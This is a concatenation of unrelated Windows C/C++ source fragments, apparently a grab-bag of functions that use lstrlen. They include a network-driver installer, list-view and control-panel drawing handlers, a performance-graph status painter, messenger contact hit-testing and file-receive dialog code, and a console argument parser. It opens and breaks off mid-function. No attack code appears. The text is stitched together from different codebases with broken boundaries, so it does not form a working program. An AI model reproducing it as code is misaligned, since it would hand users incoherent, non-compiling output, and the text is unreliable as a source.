NULL); CloseHandle(testIfile); #endif return retvalue; // vrati rezultat }
RETERR InstallNDIDevice(const char* szClass, const char* szDeviceID, const char* szDriverPath, const char* szRegPath) { char *szClassNetProtocol = "NetTrans"; char *szClassNet = "Net"; char *szClassNetClient = "NetClient"; char *szClassNetService = "NetService"; char *szNull = ""; char *szClassNetInfFileName = "Net.inf"; char *szClassNetTransInfFileName = "Nettrans.inf"; char *szClassNetClientInfFileName = "Netcli.inf"; char *szClassNetServiceInfFileName = "Netservr.inf"; char *szRegKeyNdi = "Ndi"; char *szRegKeyBindings = "Bindings"; char *szRegValDeviceID = "DeviceID"; char *szRegValDriverDesc = "DriverDesc"; char *szRegValCompatibleIDs = REGSTR_VAL_COMPATIBLEIDS; char *szRegPathNetwork = "Enum\\Network\\"; char *szRegPathFilter = "Enum\\Filter\\"; char *szRegPathTemp = "\\Temp"; char *szVServer = "VSERVER"; LPDEVICE_INFO lpdi = NULL; RETERR err = OK; err = DiCreateDeviceInfo( &lpdi, NULL, 0, NULL, NULL, szClass, NULL ); if (err == OK) { HKEY hKeyTmp; lpdi->hRegKey = HKEY_LOCAL_MACHINE; lstrcpy( lpdi->szRegSubkey, szRegPathNetwork ); lstrcat( lpdi->szRegSubkey, lpdi->szClassName ); lstrcat( lpdi->szRegSubkey, szRegPathTemp ); err = DiCreateDevRegKey( lpdi, &hKeyTmp, NULL, NULL, DIREG_DEV ); if (err == OK) { if (SURegSetValueEx(hKeyTmp, szRegValCompatibleIDs, 0, REG_SZ, (unsigned char *) szDeviceID, lstrlen( szDeviceID ) + 1 ) == ERROR_SUCCESS ) { if ( szDriverPath ) { if ( lpdi->atDriverPath = GlobalAddAtom( szDriverPath ) ) lpdi->Flags |= DI_ENUMSINGLEINF; } err = DiBuildCompatDrvList( lpdi ); SURegCloseKey( hKeyTmp ); DiDeleteDevRegKey( lpdi, DIREG_DEV ); lpdi->hRegKey = NULL; lstrcpy( lpdi->szRegSubkey, szNull ); if ( err || !lpdi->lpCompatDrvList ) { err = DiSelectDevice( lpdi ); } else { lpdi->lpSelectedDriver = lpdi->lpCompatDrvList; } if ( err == OK ) { if ( szRegPath ) { lpdi->hRegKey = HKEY_LOCAL_MACHINE; lstrcpy( lpdi->szRegSubkey, szRegPath ); DiCreateDevRegKey( lpdi, &hKeyTmp, NULL, NULL, DIREG_DEV ); } lpdi->Flags |= DI_NOVCP | DI_NOFILECOPY | DI_QUIETINSTALL; err = DiCallClassInstaller( DIF_INSTALLDEVICE, lpdi ); } else { DiDestroyDeviceInfoList( lpdi ); } } else { DiDeleteDevRegKey( lpdi, DIREG_DEV ); DiDestroyDeviceInfoList( lpdi ); } } else { DiDestroyDeviceInfoList( lpdi ); } } return err; }
LRESULT WINAPI LVEdit_WndProc ( HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam ) { LRESULT lResult = 0; BOOL bCallOrigWndProc = FALSE; static int tmHeight = 0; switch (uMessage) { case WM_ERASEBKGND: { RECT rc; HDC hdc = ( HDC )wParam; GetClientRect ( hWnd, &rc ); Rectangle ( hdc, rc.left, rc.top, rc.right, rc.bottom ); return -1; } case WM_GETDLGCODE: return ( LRESULT )DLGC_WANTARROWS | DLGC_WANTALLKEYS; case WM_SETFONT: { HDC hdc; TEXTMETRIC tm; CallWindowProc( ( FARPROC )GetClassLong ( hWnd, GCL_WNDPROC ), hWnd, uMessage, wParam, lParam ); hdc = GetDC ( hWnd ); GetTextMetrics ( hdc, &tm ); tmHeight = tm.tmHeight; ReleaseDC ( hWnd, hdc ); break; } case WM_KEYDOWN: CallWindowProc( ( FARPROC )GetClassLong ( hWnd, GCL_WNDPROC ), hWnd, uMessage, wParam, lParam ); if ( ( int )wParam == VK_ESCAPE || ( int )wParam == VK_RETURN ) SendMessage ( GetParent ( hWnd ), uMessage, wParam, lParam ); else { RECT rect; char szText[MAXSTRING]; UINT edtStyle; RECT rcText; HDC hDC = GetDC ( hWnd ); #if 0 RECT rcDad; SIZE size; HWND hwParent = GetParent ( hWnd ); GetWindowRect ( hWnd, &rect ); MapWindowPoints ( ( HWND )NULL, hwParent, ( LPPOINT )&rect.left, 2 ); GetClientRect ( hwParent, &rcDad ); GetWindowText ( hWnd, szText, MAXSTRING ); GetTextExtentPoint32 ( hDC, szText, lstrlen ( szText ), &size ); #else GetWindowText ( hWnd, szText, MAXSTRING ); GetWindowRect ( hWnd, &rect ); SetRect ( &rcText, 0, 0, rect.right - rect.left, rect.bottom - rect.top ); #endif edtStyle = GetWindowLong ( hWnd, GWL_STYLE ); if ( edtStyle & ES_MULTILINE ) { DrawText ( hDC, szText, lstrlen ( szText ),&rcText, DT_CALCRECT | DT_WORDBREAK ); #if 1 if ( rcText.bottom > rect.bottom - rect.top ) SetWindowPos ( hWnd, ( HWND )NULL, 0, 0, rect.right-rect.left, rcText.bottom, SWP_SHOWWINDOW | SWP_NOMOVE | SWP_NOZORDER ); #endif } else { DrawText ( hDC, szText, lstrlen ( szText ),&rcText, DT_CALCRECT | DT_LEFT ); if ( rcText.right - rcText.left < 50 ) rcText.right = rcText.left + 50; #if 1 SetWindowPos ( hWnd, ( HWND )NULL, 0, 0, rcText.right - rcText.left + 5, rcText.bottom, SWP_SHOWWINDOW | SWP_NOMOVE | SWP_NOZORDER ); #endif } ReleaseDC ( hWnd, hDC ); } break; default: return CallWindowProc( ( FARPROC )GetClassLong ( hWnd, GCL_WNDPROC ), hWnd, uMessage, wParam, lParam ); } if ( bCallOrigWndProc ) lResult = CallWindowProc( ( FARPROC )GetClassLong ( hWnd, GCL_WNDPROC ), hWnd, uMessage, wParam, lParam ); return lResult; }
//--------------------------------------------------------------------------// //--------------------------------------------------------------------------// LRESULT CCtlPanel::OnDrawItem (UINT /*uMsg*/, WPARAM wParam, LPARAM lParam, BOOL &bHandled) { UINT idCtl = wParam; LPDRAWITEMSTRUCT lpdis = (LPDRAWITEMSTRUCT) lParam; if (idCtl == IDC_COLOR) { CAGDC dc (lpdis->hDC); HBRUSH hbr = (HBRUSH) GetStockObject (WHITE_BRUSH); FillRect (lpdis->hDC, &lpdis->rcItem, hbr); if ((int) lpdis->itemID != -1) { COLORREF clr = (COLORREF) ::SendMessage (lpdis->hwndItem, CB_GETITEMDATA, lpdis->itemID, 0); RECT rect = lpdis->rcItem; InflateRect (&rect, -4, -2); hbr = CreateSolidBrush (clr | PALETTERGB_FLAG); FillRect (lpdis->hDC, &rect, hbr); DeleteObject (hbr); hbr = (HBRUSH) GetStockObject (BLACK_BRUSH); FrameRect (lpdis->hDC, &rect, hbr); } if (lpdis->itemState & ODS_FOCUS || lpdis->itemState & ODS_SELECTED) { hbr = (HBRUSH) GetStockObject (BLACK_BRUSH); FrameRect (lpdis->hDC, &lpdis->rcItem, hbr); } } else if (idCtl == IDC_FONT) { if ((int) lpdis->itemID != -1) { int nFont = ::SendMessage (lpdis->hwndItem, CB_GETITEMDATA, lpdis->itemID, 0); FONTARRAY &FontArray = GetFontArray (); LOGFONT NewFont = FontArray[nFont].lf; NewFont.lfHeight = m_nFontHeight; NewFont.lfWidth = 0; if (NewFont.lfCharSet == SYMBOL_CHARSET) { lstrcpy (NewFont.lfFaceName, "Arial"); NewFont.lfCharSet = ANSI_CHARSET; NewFont.lfPitchAndFamily = FF_SWISS; } SaveDC (lpdis->hDC); SetTextAlign (lpdis->hDC, TA_LEFT | TA_TOP | TA_NOUPDATECP); if (lpdis->itemState & ODS_SELECTED) SetTextColor (lpdis->hDC, GetSysColor (COLOR_HIGHLIGHTTEXT)); else SetTextColor (lpdis->hDC, GetSysColor (COLOR_WINDOWTEXT)); if (lpdis->itemState & ODS_SELECTED) SetBkColor (lpdis->hDC, GetSysColor (COLOR_HIGHLIGHT)); else SetBkColor (lpdis->hDC, GetSysColor (COLOR_WINDOW)); HFONT hFont = CreateFontIndirect (&NewFont); HFONT hOldFont = (HFONT) SelectObject (lpdis->hDC, hFont); ExtTextOut (lpdis->hDC, lpdis->rcItem.left, lpdis->rcItem.top, ETO_CLIPPED | ETO_OPAQUE, &lpdis->rcItem, FontArray[nFont].szFullName, lstrlen (FontArray[nFont].szFullName), NULL); if (lpdis->itemState & ODS_FOCUS) DrawFocusRect (lpdis->hDC, &lpdis->rcItem); SelectObject (lpdis->hDC, hOldFont); DeleteObject (hFont); RestoreDC (lpdis->hDC, -1); } } bHandled = TRUE; return (TRUE); }
void static OnPaint ( HWND hWnd, BOOL bEraseBackground) /* Effect: Paint the invalid surface of hWnd. Draw each label, each recessed value box, and each value. Called By: GraphStatusWndProc only, in response to a WM_PAINT message. */ { HDC hDC ; PAINTSTRUCT ps ; RECT rectClient ; int i ; PLINESTRUCT pLine; hDC = BeginPaint (hWnd, &ps) ; SetBkMode (hDC, (bEraseBackground ? OPAQUE : TRANSPARENT)) ; SetBkColor (hDC, ColorBtnFace) ; GetClientRect (hWnd, &rectClient) ; HLine (hDC, GetStockObject (BLACK_PEN), rectClient.left, rectClient.right, rectClient.bottom - 1) ; if ((pGraphs->gOptions.bStatusBarChecked) && (pGraphs->gOptions.bLegendChecked)) { // if UINT hPrevTextAlign = SetTextAlign (hDC, TA_LEFT | TA_TOP) ; for (i = 0 ; i < StatusNumElts ; i++) { // for // Draw the label TextOut (hDC, StatusData.aElts[i].xTextPos, StatusTopMargin () + ThreeDPad, StatusData.aElts[i].szText, lstrlen (StatusData.aElts[i].szText)) ; // Draw the recesed value box ThreeDConcave1 (hDC, StatusData.aElts[i].xValuePos - ThreeDPad, StatusTopMargin (), StatusData.aElts[i].xValuePos + StatusData.sizeValue.cx + ThreeDPad, StatusTopMargin () + StatusData.sizeValue.cy + 2 * ThreeDPad ) ; } // for // restore TextAlign for drawing values SetTextAlign (hDC, hPrevTextAlign) ; // Draw the values themselves pLine = CurrentGraphLine (hWndGraph) ; StatusDrawTime (hDC, TRUE) ; StatusDrawLast (hDC, pLine, TRUE) ; if (pLine) { StatusDrawAvg (hDC, pLine->lnAveValue, TRUE) ; StatusDrawMin (hDC, pLine->lnMinValue, TRUE) ; StatusDrawMax (hDC, pLine->lnMaxValue, TRUE) ; } else { StatusDrawAvg (hVBarDC, (FLOAT)0.0, TRUE) ; StatusDrawMax (hVBarDC, (FLOAT)0.0, TRUE) ; StatusDrawMin (hVBarDC, (FLOAT)0.0, TRUE) ; } } // if EndPaint (hWnd, &ps) ; } // StatusPaint
int fnHitTest(HWND hwnd, struct ClcData *dat, int testx, int testy, ClcContact **contact, ClcGroup **group, DWORD * flags) { ClcContact *hitcontact = NULL; ClcGroup *hitgroup = NULL; int indent, i; DWORD style = GetWindowLongPtr(hwnd, GWL_STYLE); if (flags) *flags = 0; POINT pt; pt.x = testx; pt.y = testy; ClientToScreen(hwnd, &pt); HWND hwndParent = hwnd, hwndTemp; do { hwndTemp = hwndParent; hwndParent = (HWND)GetWindowLongPtr(hwndTemp, GWLP_HWNDPARENT); POINT pt1 = pt; ScreenToClient(hwndParent, &pt1); HWND h = ChildWindowFromPointEx(hwndParent ? hwndParent : GetDesktopWindow(), pt1, CWP_SKIPINVISIBLE | CWP_SKIPTRANSPARENT); if (h != hwndTemp) if (!hwndParent || !(GetWindowLongPtr(hwndTemp, GWL_STYLE) & BS_GROUPBOX)) return -1; } while (hwndParent); RECT clRect; GetClientRect(hwnd, &clRect); if (testx < 0 || testy < 0 || testy >= clRect.bottom || testx >= clRect.right) { if (flags) { if (testx < 0) *flags |= CLCHT_TOLEFT; else if (testx >= clRect.right) *flags |= CLCHT_TORIGHT; if (testy < 0) *flags |= CLCHT_ABOVE; else if (testy >= clRect.bottom) *flags |= CLCHT_BELOW; } return -1; } if (testx < dat->leftMargin) { if (flags) *flags |= CLCHT_INLEFTMARGIN | CLCHT_NOWHERE; return -1; } int hit = cli.pfnRowHitTest(dat, dat->yScroll + testy); if (hit != -1) hit = cli.pfnGetRowByIndex(dat, hit, &hitcontact, &hitgroup); if (hit == -1) { if (flags) *flags |= CLCHT_NOWHERE | CLCHT_BELOWITEMS; return -1; } if (contact) *contact = hitcontact; if (group) *group = hitgroup; for (indent = 0; hitgroup->parent; indent++, hitgroup = hitgroup->parent); if (testx < dat->leftMargin + indent * dat->groupIndent) { if (flags) *flags |= CLCHT_ONITEMINDENT; return hit; } int checkboxWidth = 0; if (style & CLS_CHECKBOXES && hitcontact->type == CLCIT_CONTACT) checkboxWidth = dat->checkboxSize + 2; if (style & CLS_GROUPCHECKBOXES && hitcontact->type == CLCIT_GROUP) checkboxWidth = dat->checkboxSize + 2; if (hitcontact->type == CLCIT_INFO && hitcontact->flags & CLCIIF_CHECKBOX) checkboxWidth = dat->checkboxSize + 2; if (testx < dat->leftMargin + indent * dat->groupIndent + checkboxWidth) { if (flags) *flags |= CLCHT_ONITEMCHECK; return hit; } if (testx < dat->leftMargin + indent * dat->groupIndent + checkboxWidth + dat->iconXSpace) { if (flags) *flags |= CLCHT_ONITEMICON; return hit; } int eiOffset = 0; for (i = dat->extraColumnsCount-1; i >= 0; i--) { if (hitcontact->iExtraImage[i] == EMPTY_EXTRA_ICON) continue; eiOffset += dat->extraColumnSpacing; if (testx >= clRect.right - eiOffset && testx < clRect.right - eiOffset + g_IconWidth) { if (flags) *flags |= CLCHT_ONITEMEXTRA | (i << 24); return hit; } } HDC hdc = GetDC(hwnd); HFONT hFont = (HFONT)SelectObject(hdc, dat->fontInfo[hitcontact->type == CLCIT_GROUP ? FONTID_GROUPS : FONTID_CONTACTS].hFont); SIZE textSize; GetTextExtentPoint32(hdc, hitcontact->szText, lstrlen(hitcontact->szText), &textSize); int width = textSize.cx; if (hitcontact->type == CLCIT_GROUP) { char *szCounts; szCounts = cli.pfnGetGroupCountsText(dat, hitcontact); if (szCounts[0]) { GetTextExtentPoint32A(hdc, " ", 1, &textSize); width += textSize.cx; SelectObject(hdc, dat->fontInfo[FONTID_GROUPCOUNTS].hFont); GetTextExtentPoint32A(hdc, szCounts, lstrlenA(szCounts), &textSize); width += textSize.cx; } } SelectObject(hdc, hFont); ReleaseDC(hwnd, hdc); if (testx < dat->leftMargin + indent * dat->groupIndent + checkboxWidth + dat->iconXSpace + width + 4) { if (flags) *flags |= CLCHT_ONITEMLABEL; return hit; } if (flags) *flags |= CLCHT_NOWHERE; return -1; }
void CContainer::AjustTabs() { int m_iSizeAct=0; m_iMinValRec=4; if (m_Numtabs <=1 && m_alnTab==ALN_BOTTOM) return; CClientDC dc(GetSafeHwnd()); GetClientRect(m_rectCliente); if (m_alnTab==ALN_BOTTOM) m_rectCliente.bottom=m_rectCliente.bottom-(m_sizeImag.cy+SPACE_TAB+2); else m_rectCliente.bottom=m_rectCliente.top+(m_sizeImag.cy+SPACE_TAB+2); HFONT hFont= dc.SelectObject(CFont((HFONT)GetStockObject(DEFAULT_GUI_FONT))); for (int iCont=0; iCont< m_Numtabs;iCont++) { CTab* ct=(CTab*) m_pArray[iCont]; CRect m_Arect; CSize m_sChar=dc.GetTextExtent(ct->lpMsg,lstrlen(ct->lpMsg)); m_Arect.left=m_iMinValRec+1; CSize m_sz; m_sz=theApp->m_WinMain->m_sizeImagDocks; m_iMinValRec+=m_alnTab!=ALN_TOP?16+2+m_sChar.cx+6:m_sChar.cx+6; if(m_alnTab==ALN_BOTTOM) { m_Arect.top=m_rectCliente.bottom; m_Arect.right=m_iMinValRec; m_Arect.bottom=m_rectCliente.bottom+6+m_sizeImag.cy; } else { m_Arect.top=m_rectCliente.top; m_Arect.right=m_iMinValRec+ (iCont ==m_iSelectTab|| iCont ==0 ?30:0); m_Arect.bottom=m_rectCliente.top+6+m_sizeImag.cy; } ct->rect= m_Arect; } //si el espacio requerido es mayor que el disponible //se debe proporcionar cada tab solo si es 3d if (m_style== S3D) { int m_NewResize=4; if (m_iMinValRec > m_rectCliente.Width()-4) { m_iSizeAct=(m_rectCliente.Width()-12)/m_Numtabs; for (int iCont=0; iCont< m_Numtabs;iCont++) { CTab* ct=(CTab*) m_pArray[iCont]; CRect m_Arect; m_Arect.left=m_NewResize; m_Arect.right=m_NewResize+m_iSizeAct; m_Arect.top=m_rectCliente.bottom; m_Arect.bottom=m_rectCliente.bottom+6+m_sizeImag.cy; m_NewResize+=m_iSizeAct+1; ct->rect= m_Arect; } } } dc.DeleteDC(); }
INT_PTR CALLBACK DlgProcRecvFile(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { struct FileDlgData *dat; dat=(struct FileDlgData*)GetWindowLongPtr(hwndDlg,GWLP_USERDATA); switch (msg) { case WM_INITDIALOG: { TCHAR *contactName; TCHAR szPath[450]; CLISTEVENT* cle = (CLISTEVENT*)lParam; TranslateDialogDefault(hwndDlg); dat=(struct FileDlgData*)mir_calloc(sizeof(struct FileDlgData)); SetWindowLongPtr(hwndDlg,GWLP_USERDATA,(LONG_PTR)dat); dat->hContact = cle->hContact; dat->hDbEvent = cle->hDbEvent; dat->hPreshutdownEvent = HookEventMessage(ME_SYSTEM_PRESHUTDOWN,hwndDlg,M_PRESHUTDOWN); dat->dwTicks = GetTickCount(); EnumChildWindows(hwndDlg,ClipSiblingsChildEnumProc,0); Window_SetIcon_IcoLib(hwndDlg, SKINICON_EVENT_FILE); Button_SetIcon_IcoLib(hwndDlg, IDC_ADD, SKINICON_OTHER_ADDCONTACT, LPGEN("Add Contact Permanently to List")); Button_SetIcon_IcoLib(hwndDlg, IDC_DETAILS, SKINICON_OTHER_USERDETAILS, LPGEN("View User's Details")); Button_SetIcon_IcoLib(hwndDlg, IDC_HISTORY, SKINICON_OTHER_HISTORY, LPGEN("View User's History")); Button_SetIcon_IcoLib(hwndDlg, IDC_USERMENU, SKINICON_OTHER_DOWNARROW, LPGEN("User Menu")); contactName = cli.pfnGetContactDisplayName( dat->hContact, 0 ); SetDlgItemText(hwndDlg,IDC_FROM,contactName); GetContactReceivedFilesDir(dat->hContact,szPath,SIZEOF(szPath),TRUE); SetDlgItemText(hwndDlg,IDC_FILEDIR,szPath); { int i; char idstr[32]; DBVARIANT dbv; if (shAutoComplete) shAutoComplete(GetWindow(GetDlgItem(hwndDlg,IDC_FILEDIR),GW_CHILD),1); for(i=0;i<MAX_MRU_DIRS;i++) { mir_snprintf(idstr, SIZEOF(idstr), "MruDir%d",i); if(DBGetContactSettingTString(NULL,"SRFile",idstr,&dbv)) break; SendDlgItemMessage(hwndDlg,IDC_FILEDIR,CB_ADDSTRING,0,(LPARAM)dbv.ptszVal); DBFreeVariant(&dbv); } } CallService(MS_DB_EVENT_MARKREAD,(WPARAM)dat->hContact,(LPARAM)dat->hDbEvent); { DBEVENTINFO dbei={0}; TCHAR datetimestr[64]; char buf[540]; dbei.cbSize=sizeof(dbei); dbei.cbBlob=CallService(MS_DB_EVENT_GETBLOBSIZE,(WPARAM)dat->hDbEvent,0); dbei.pBlob=(PBYTE)mir_alloc(dbei.cbBlob); CallService(MS_DB_EVENT_GET,(WPARAM)dat->hDbEvent,(LPARAM)&dbei); dat->fs = cle->lParam ? (HANDLE)cle->lParam : (HANDLE)*(PDWORD)dbei.pBlob; lstrcpynA(buf, (char*)dbei.pBlob+4, min(dbei.cbBlob+1,SIZEOF(buf))); TCHAR* ptszFileName = DbGetEventStringT( &dbei, buf ); SetDlgItemText(hwndDlg,IDC_FILENAMES,ptszFileName); mir_free(ptszFileName); lstrcpynA(buf, (char*)dbei.pBlob+4+strlen((char*)dbei.pBlob+4)+1, min((int)(dbei.cbBlob-4-strlen((char*)dbei.pBlob+4)),SIZEOF(buf))); TCHAR* ptszDescription = DbGetEventStringT( &dbei, buf ); SetDlgItemText(hwndDlg,IDC_MSG,ptszDescription); mir_free(ptszDescription); mir_free(dbei.pBlob); tmi.printTimeStamp(NULL, dbei.timestamp, _T("t d"), datetimestr, SIZEOF(datetimestr), 0); SetDlgItemText(hwndDlg, IDC_DATE, datetimestr); } { char* szProto = (char*)CallService(MS_PROTO_GETCONTACTBASEPROTO, (WPARAM)dat->hContact, 0); if (szProto) { CONTACTINFO ci; int hasName = 0; char buf[128]; ZeroMemory(&ci,sizeof(ci)); ci.cbSize = sizeof(ci); ci.hContact = dat->hContact; ci.szProto = szProto; ci.dwFlag = CNF_UNIQUEID; if (!CallService(MS_CONTACT_GETCONTACTINFO,0,(LPARAM)&ci)) { switch(ci.type) { case CNFT_ASCIIZ: hasName = 1; mir_snprintf(buf, SIZEOF(buf), "%s", ci.pszVal); mir_free(ci.pszVal); break; case CNFT_DWORD: hasName = 1; mir_snprintf(buf, SIZEOF(buf),"%u",ci.dVal); break; } } if (hasName) SetDlgItemTextA(hwndDlg, IDC_NAME, buf ); else SetDlgItemText(hwndDlg, IDC_NAME, contactName); } } if(DBGetContactSettingByte(dat->hContact,"CList","NotOnList",0)) { RECT rcBtn1,rcBtn2,rcDateCtrl; GetWindowRect(GetDlgItem(hwndDlg,IDC_ADD),&rcBtn1); GetWindowRect(GetDlgItem(hwndDlg,IDC_USERMENU),&rcBtn2); GetWindowRect(GetDlgItem(hwndDlg,IDC_DATE),&rcDateCtrl); SetWindowPos(GetDlgItem(hwndDlg,IDC_DATE),0,0,0,rcDateCtrl.right-rcDateCtrl.left-(rcBtn2.left-rcBtn1.left),rcDateCtrl.bottom-rcDateCtrl.top,SWP_NOZORDER|SWP_NOMOVE); } else if(DBGetContactSettingByte(NULL,"SRFile","AutoAccept",0)) { //don't check auto-min here to fix BUG#647620 PostMessage(hwndDlg,WM_COMMAND,MAKEWPARAM(IDOK,BN_CLICKED),(LPARAM)GetDlgItem(hwndDlg,IDOK)); } if(!DBGetContactSettingByte(dat->hContact,"CList","NotOnList",0)) ShowWindow(GetDlgItem(hwndDlg, IDC_ADD),SW_HIDE); return TRUE; } case WM_MEASUREITEM: return CallService(MS_CLIST_MENUMEASUREITEM,wParam,lParam); case WM_DRAWITEM: { LPDRAWITEMSTRUCT dis=(LPDRAWITEMSTRUCT)lParam; if(dis->hwndItem==GetDlgItem(hwndDlg, IDC_PROTOCOL)) { char *szProto; szProto=(char*)CallService(MS_PROTO_GETCONTACTBASEPROTO,(WPARAM)dat->hContact,0); if (szProto) { HICON hIcon; hIcon=(HICON)CallProtoService(szProto,PS_LOADICON,PLI_PROTOCOL|PLIF_SMALL,0); if (hIcon) { DrawIconEx(dis->hDC,dis->rcItem.left,dis->rcItem.top,hIcon,GetSystemMetrics(SM_CXSMICON),GetSystemMetrics(SM_CYSMICON),0,NULL,DI_NORMAL); DestroyIcon(hIcon); } } } } return CallService(MS_CLIST_MENUDRAWITEM,wParam,lParam); case WM_COMMAND: if ( CallService(MS_CLIST_MENUPROCESSCOMMAND, MAKEWPARAM(LOWORD(wParam),MPCF_CONTACTMENU), (LPARAM)dat->hContact )) break; switch ( LOWORD( wParam )) { case IDC_FILEDIRBROWSE: { TCHAR szDirName[MAX_PATH],szExistingDirName[MAX_PATH]; GetDlgItemText(hwndDlg,IDC_FILEDIR,szDirName,SIZEOF(szDirName)); GetLowestExistingDirName(szDirName,szExistingDirName,SIZEOF(szExistingDirName)); if(BrowseForFolder(hwndDlg,szExistingDirName)) SetDlgItemText(hwndDlg,IDC_FILEDIR,szExistingDirName); } break; case IDOK: { //most recently used directories TCHAR szRecvDir[MAX_PATH],szDefaultRecvDir[MAX_PATH]; GetDlgItemText(hwndDlg,IDC_FILEDIR,szRecvDir,SIZEOF(szRecvDir)); RemoveInvalidPathChars(szRecvDir); GetContactReceivedFilesDir(NULL,szDefaultRecvDir,SIZEOF(szDefaultRecvDir),TRUE); if(_tcsnicmp(szRecvDir,szDefaultRecvDir,lstrlen(szDefaultRecvDir))) { char idstr[32]; int i; DBVARIANT dbv; for(i=MAX_MRU_DIRS-2;i>=0;i--) { mir_snprintf(idstr, SIZEOF(idstr), "MruDir%d",i); if(DBGetContactSettingTString(NULL,"SRFile",idstr,&dbv)) continue; mir_snprintf(idstr, SIZEOF(idstr), "MruDir%d",i+1); DBWriteContactSettingTString(NULL,"SRFile",idstr,dbv.ptszVal); DBFreeVariant(&dbv); } DBWriteContactSettingTString(NULL,"SRFile",idstr,szRecvDir); } } EnableWindow(GetDlgItem(hwndDlg,IDC_FILENAMES),FALSE); EnableWindow(GetDlgItem(hwndDlg,IDC_MSG),FALSE); EnableWindow(GetDlgItem(hwndDlg,IDC_FILEDIR),FALSE); EnableWindow(GetDlgItem(hwndDlg,IDC_FILEDIRBROWSE),FALSE); GetDlgItemText(hwndDlg,IDC_FILEDIR,dat->szSavePath,SIZEOF(dat->szSavePath)); GetDlgItemText(hwndDlg,IDC_FILE,dat->szFilenames,SIZEOF(dat->szFilenames)); GetDlgItemText(hwndDlg,IDC_MSG,dat->szMsg,SIZEOF(dat->szMsg)); dat->hwndTransfer = FtMgr_AddTransfer(dat); SetWindowLongPtr( hwndDlg, GWLP_USERDATA, 0); //check for auto-minimize here to fix BUG#647620 if(DBGetContactSettingByte(NULL,"SRFile","AutoAccept",0) && DBGetContactSettingByte(NULL,"SRFile","AutoMin",0)) { ShowWindow(hwndDlg,SW_HIDE); ShowWindow(hwndDlg,SW_SHOWMINNOACTIVE); } DestroyWindow(hwndDlg); break; case IDCANCEL: if (dat->fs) CallContactService(dat->hContact,PSS_FILEDENYT,(WPARAM)dat->fs,(LPARAM)TranslateT("Cancelled")); dat->fs=NULL; /* the protocol will free the handle */ DestroyWindow(hwndDlg); break; case IDC_ADD: { ADDCONTACTSTRUCT acs={0}; acs.handle=dat->hContact; acs.handleType=HANDLE_CONTACT; acs.szProto=""; CallService(MS_ADDCONTACT_SHOW,(WPARAM)hwndDlg,(LPARAM)&acs); if(!DBGetContactSettingByte(dat->hContact,"CList","NotOnList",0)) ShowWindow(GetDlgItem(hwndDlg,IDC_ADD), SW_HIDE); } break; case IDC_USERMENU: { RECT rc; HMENU hMenu=(HMENU)CallService(MS_CLIST_MENUBUILDCONTACT,(WPARAM)dat->hContact,0); GetWindowRect((HWND)lParam,&rc); TrackPopupMenu(hMenu,0,rc.left,rc.bottom,0,hwndDlg,NULL); DestroyMenu(hMenu); } break; case IDC_DETAILS: CallService(MS_USERINFO_SHOWDIALOG,(WPARAM)dat->hContact,0); break; case IDC_HISTORY: CallService(MS_HISTORY_SHOWCONTACTHISTORY,(WPARAM)dat->hContact,0); break; } break; case WM_DESTROY: Window_FreeIcon_IcoLib(hwndDlg); Button_FreeIcon_IcoLib(hwndDlg,IDC_ADD); Button_FreeIcon_IcoLib(hwndDlg,IDC_DETAILS); Button_FreeIcon_IcoLib(hwndDlg,IDC_HISTORY); Button_FreeIcon_IcoLib(hwndDlg,IDC_USERMENU); if ( dat ) FreeFileDlgData( dat ); break; } return FALSE; }
// Returns ">0" - when changes was made // 0 - no changes // -1 - error // bForceCurConsole==true, если разбор параметров идет // при запуске Tasks из GUI int RConStartArgs::ProcessNewConArg(bool bForceCurConsole /*= false*/) { NewConsole = crb_Undefined; if (!pszSpecialCmd || !*pszSpecialCmd) { _ASSERTE(pszSpecialCmd && *pszSpecialCmd); return -1; } int nChanges = 0; // 140219 - Остановить обработку, если встретим любой из: ConEmu[.exe], ConEmu64[.exe], ConEmuC[.exe], ConEmuC64[.exe] LPCWSTR pszStopAt = NULL; { LPCWSTR pszTemp = pszSpecialCmd; LPCWSTR pszSave = pszSpecialCmd; LPCWSTR pszName; CmdArg szExe; LPCWSTR pszWords[] = {L"ConEmu", L"ConEmu.exe", L"ConEmu64", L"ConEmu64.exe", L"ConEmuC", L"ConEmuC.exe", L"ConEmuC64", L"ConEmuC64.exe", L"ConEmuPortable.exe", L"ConEmuPortable", NULL}; while (!pszStopAt && (0 == NextArg(&pszTemp, szExe))) { pszName = PointToName(szExe); for (size_t i = 0; pszWords[i]; i++) { if (lstrcmpi(pszName, pszWords[i]) == 0) { pszStopAt = pszSave; break; } } pszSave = pszTemp; } } #if 0 // 140219 - Остановить обработку, если встретим любой из: ConEmu[.exe], ConEmu64[.exe], ConEmuC[.exe], ConEmuC64[.exe] if (!hShlwapi) { hShlwapi = LoadLibrary(L"Shlwapi.dll"); WcsStrI = hShlwapi ? (StrStrI_t)GetProcAddress(hShlwapi, "StrStrIW") : NULL; } #endif // 111211 - здесь может быть передан "-new_console:..." LPCWSTR pszNewCon = L"-new_console"; // 120108 - или "-cur_console:..." для уточнения параметров запуска команд (из фара например) LPCWSTR pszCurCon = L"-cur_console"; int nNewConLen = lstrlen(pszNewCon); _ASSERTE(lstrlen(pszCurCon)==nNewConLen); wchar_t* pszFrom = pszSpecialCmd; bool bStop = false; while (!bStop) { wchar_t* pszSwitch = wcschr(pszFrom, L'-'); if (!pszSwitch) break; // Pre-validation if (((pszSwitch[1] != L'n') && (pszSwitch[1] != L'c')) // -new_... or -cur_... || (((pszSwitch != /* > */ pszFrom) // If it is started from pszFrom - no need to check previous symbols && (*(pszSwitch-1) != L'"') || (((pszSwitch-2) >= pszFrom) && (*(pszSwitch-2) == L'\\'))) // Found: \"-new... && (*(pszSwitch-1) != L' '))) // Prev symbol was space { // НЕ наш аргумент pszSwitch = wcschr(pszSwitch+1, L' '); if (!pszSwitch) break; pszFrom = pszSwitch; continue; } wchar_t* pszFindNew = NULL; wchar_t* pszFind = NULL; wchar_t szTest[12]; lstrcpyn(szTest, pszSwitch+1, countof(szTest)); if (lstrcmp(szTest, L"new_console") == 0) pszFindNew = pszFind = pszSwitch; else if (lstrcmp(szTest, L"cur_console") == 0) pszFind = pszSwitch; else { // НЕ наш аргумент pszSwitch = wcschr(pszSwitch+1, L' '); if (!pszSwitch) break; pszFrom = pszSwitch; continue; } if (!pszFind) break; if (pszStopAt && (pszFind >= pszStopAt)) break; // Проверка валидности _ASSERTE(pszFind >= pszSpecialCmd); if ((pszFind[nNewConLen] != L' ') && (pszFind[nNewConLen] != L':') && (pszFind[nNewConLen] != L'"') && (pszFind[nNewConLen] != 0)) { // НЕ наш 